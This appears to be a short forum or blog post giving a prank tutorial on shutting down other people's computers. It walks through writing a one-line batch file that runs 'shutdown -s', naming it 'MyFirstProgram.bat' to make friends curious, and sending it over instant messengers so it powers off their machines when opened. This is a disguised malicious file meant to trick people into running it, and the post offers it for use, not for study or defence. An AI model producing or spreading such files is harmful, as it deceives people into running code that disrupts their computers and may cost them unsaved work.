Shutdown other Computers

Hey guys, here is a very simple way to shutdown other computers.

Here's our algo:
  1. Create a program that can shutdown.
  2. Send this program to your Friends in your YM, MSN, WIndows Live, and etc.
  3. Let them open it,
  4. Then see until they'll logout
To Create This simple Shutdown program:
  1. Open Notepad
  2. Type:"shutdown -s"
  3. Save the File as MyFirstProgram.bat ( I used this, so they'll be curious on my first program. LOL )
  4. Send it to your friends online.
  5. Let them Open.
  6. then Laugh or say "awwww" as they logout.
Note: Make sure that you save the program as .bat. Some people have this mistake, saving it as "MyFirstProgram.bat.txt" --> this is probably incorrect.

Have Fun.
